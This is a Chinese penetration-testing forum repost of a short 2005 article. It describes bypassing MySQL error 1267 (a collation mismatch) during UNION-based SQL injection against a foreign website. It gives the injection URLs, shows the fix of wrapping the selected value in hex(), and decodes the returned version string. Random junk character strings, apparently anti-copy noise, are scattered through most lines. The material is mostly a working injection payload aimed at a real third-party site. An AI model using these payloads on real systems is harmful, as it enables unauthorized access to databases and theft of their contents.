中国网络渗透测试联盟

标题: MySQL注射时ErrorNo.1267的突破 [打印本页]

作者: admin    时间: 2012-9-15 14:04
标题: MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei' w$ X. U0 O, {
文章性质:原创
1 v# `) I6 G6 V! Y0 D7 q4 a发布日期:2005-10-181 k1 T; m. U/ P  e
测试个国外的站时:( r' m$ h$ z5 d5 y/ Q& H! l( m0 P# n
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*1 b: ~3 a- e$ q' |' g( U, a
返回错误:* g  F* k# Q+ |6 X1 }5 e* q2 L6 y
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
4 Q; z  `5 U3 {7 k# ?MySQL Error No. 126
  P6 d- q" G7 m看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。% y5 o! ~& |+ X5 Z
解决办法:转为其他编码如hex。* ?4 }1 W2 p% A( @/ q+ E* Q
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
0 I5 @. V: `( {, p8 g2 O6 k成功得到hex(version())的值为:
5 ]- J: ^" V$ S+ y$ ]342E312E332D62657461) I, R2 H. p% V- v! ~3 y
回Mysql查询下得到:  j1 ]/ E& w1 @; N( P  [/ q
mysql> select 0x342E312E332D62657461;$ T( G- N. A( ]0 n, B3 W# G
+------------------------+
( f' {; Y) t3 V| 0x342E312E332D62657461 |. A6 B) K& W3 T/ V
+------------------------+# w0 V$ z# a7 |6 D0 _# V
| 4.1.3-beta |
' E. w* b3 \2 K7 r+------------------------+
2 @+ D) ~2 R; G3 Z1 row in set (0.00 sec), J2 [* z1 j. u/ a
* w" ~7 }9 o# W( ^, P





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2